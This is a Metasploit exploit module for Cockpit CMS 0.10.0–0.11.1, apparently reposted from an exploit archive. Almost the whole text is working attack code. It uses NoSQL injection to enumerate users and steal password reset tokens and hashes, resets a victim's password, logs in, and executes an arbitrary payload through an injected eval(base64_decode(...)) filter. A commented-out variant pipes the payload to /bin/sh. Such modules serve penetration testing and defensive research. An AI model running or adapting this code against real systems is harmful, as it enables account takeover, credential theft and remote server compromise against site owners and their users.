Share
## https://sploitus.com/exploit?id=PACKETSTORM:162282
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/hashes/identify'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cockpit CMS NoSQLi to RCE',  
'Description' => %q{  
This module exploits two NoSQLi vulnerabilities to retrieve the user list,  
and password reset tokens from the system. Next, the USER is targetted to  
reset their password.  
Then a command injection vulnerability is used to execute the payload.  
While it is possible to upload a payload and execute it, the command injection  
provides a no disk write method which is more stealthy.  
Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities  
for exploitation.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'Nikita Petrov' # original PoC, analysis  
],  
'References' =>  
[  
[ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],  
[ 'CVE', '2020-35847' ], # reset token extraction  
[ 'CVE', '2020-35846' ], # user name extraction  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Privileged' => false,  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultOptions' =>  
{  
'PrependFork' => true  
},  
'DisclosureDate' => '2021-04-13',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
# ACCOUNT_LOCKOUTS due to reset of user password  
'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SERVICE_DOWN ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),  
OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),  
OptString.new('USER', [false, 'User account to take over', ''])  
], self.class  
)  
end  
  
def get_users(check: false)  
print_status('Attempting Username Enumeration (CVE-2020-35846)')  
res = send_request_raw(  
'uri' => '/auth/requestreset',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
# return bool of if not vulnerable  
# https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432  
if check  
return (res.body.include?('Function should be callable') ||  
# https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466  
res.body.include?('Condition not valid') ||  
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])  
end  
  
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten  
end  
  
def get_reset_tokens  
print_status('Obtaining reset tokens (CVE-2020-35847)')  
res = send_request_raw(  
'uri' => '/auth/resetpassword',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten  
end  
  
def get_user_info(token)  
print_status('Obtaining user info')  
res = send_request_raw(  
'uri' => '/auth/newpassword',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'token' => token })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
/this.user\s+=([^;]+);/ =~ res.body  
userdata = JSON.parse(Regexp.last_match(1))  
userdata.each do |k, v|  
print_status(" #{k}: #{v}")  
end  
report_cred(  
username: userdata['user'],  
password: userdata['password'],  
private_type: :nonreplayable_hash  
)  
userdata  
end  
  
def reset_password(token, user)  
password = Rex::Text.rand_password  
print_good("Changing password to #{password}")  
res = send_request_raw(  
'uri' => '/auth/resetpassword',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'token' => token, 'password' => password })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
# loop through found results  
body = JSON.parse(res.body)  
print_good('Password update successful') if body['success']  
report_cred(  
username: user,  
password: password,  
private_type: :password  
)  
password  
end  
  
def report_cred(opts)  
service_data = {  
address: datastore['RHOST'],  
port: datastore['RPORT'],  
service_name: 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:username],  
private_data: opts[:password],  
private_type: opts[:private_type],  
jtr_format: identify_hash(opts[:password])  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: ''  
}.merge(service_data)  
create_credential_login(login_data)  
end  
  
def login(un, pass)  
print_status('Attempting login')  
res = send_request_cgi(  
'uri' => '/auth/login'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body  
cookie = res.get_cookies  
res = send_request_raw(  
'uri' => '/auth/check',  
'method' => 'POST',  
'ctype' => 'application/json',  
'cookie' => cookie,  
'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')  
print_good("Valid cookie for #{un}: #{cookie}")  
cookie  
end  
  
def gen_token(user)  
print_status('Attempting to generate tokens')  
res = send_request_raw(  
'uri' => '/auth/requestreset',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ user: user })  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
end  
  
def rce(cookie)  
print_status('Attempting RCE')  
p = Rex::Text.encode_base64(payload.encoded)  
send_request_raw(  
'uri' => '/accounts/find',  
'method' => 'POST',  
'cookie' => cookie,  
'ctype' => 'application/json',  
# this is more similar to how the original POC worked, however even with the & and prepend fork  
# it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session  
# was killed when using an arch => cmd type payload.  
# 'data' => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"  
# with this method most pages still seem to load, logins work, but the password reset will not respond  
# however, everything else seems to work ok  
'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"  
)  
end  
  
def check  
begin  
return Exploit::CheckCode::Appears unless get_users(check: true)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
Exploit::CheckCode::Safe  
end  
  
def exploit  
if datastore['ENUM_USERS']  
users = get_users  
print_good(" Found users: #{users}")  
end  
  
fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''  
  
tokens = get_reset_tokens  
# post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.  
if tokens == []  
gen_token(datastore['USER'])  
tokens = get_reset_tokens  
end  
print_good(" Found tokens: #{tokens}")  
good_token = ''  
tokens.each do |token|  
print_status("Checking token: #{token}")  
userdata = get_user_info(token)  
if userdata['user'] == datastore['USER']  
good_token = token  
break  
end  
end  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''  
password = reset_password(good_token, datastore['USER'])  
cookie = login(datastore['USER'], password)  
rce(cookie)  
end  
end